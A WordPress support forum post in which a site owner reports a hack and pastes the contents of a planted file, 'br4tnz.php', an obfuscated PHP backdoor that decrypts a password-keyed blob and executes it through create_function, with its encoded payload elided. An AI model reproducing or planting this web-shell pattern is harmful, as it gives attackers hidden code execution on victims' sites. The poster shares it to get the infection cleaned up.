My site is hacked

  • Resolved Anandan Konar

    (@anandan-konar)


    10 years, 8 months ago

    I dont know much about coding. But I can see a strange search box showing up on top left of my site over the header. This is present on all pages even in dashboard pages. I checked for recently updated files using ftp and found one unknown file by the name of “br4tnz.php” in the plugin folder. This is the code that was present 

    <?php $wp__wp='base'.(32*2).'_de'.'code';$wp__wp=$wp__wp(str_replace("\n", '',
 [BIG STRINGS OF CHARACTERS]
$wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);if($wp_wp!==NULL){$wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));for($wp___wp=0;$wp___wp<15185;$wp___wp++){$wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);$wp_wp.=$wp__wp[$wp___wp];}if($wp__wp=@gzinflate($wp__wp)){if(isset($_POST['wp_wp']))@setcookie('wp_wp', $_POST['wp_wp']);$wp___wp=create_function('',$wp__wp);unset($wp__wp,$wp_wp);$wp___wp();}}?><form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value=">"/></form>

    I deleted the file but I can still see the search box on the site. On checking inspect element this is the code I see
    <form action="" method="post" _lpchecked="1" class=""><input type="text" name="wp_wp" value=""><input type="submit" value=">"></form>
    It is present before the <!DOCTYPE html> on all pages.

    I need to get rid of the box please help me out guys.
    My site : https://www.thatsmytop10.com look at top left for the box.

Viewing 2 replies - 1 through 2 (of 2 total)
Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘My site is hacked’ is closed to new replies.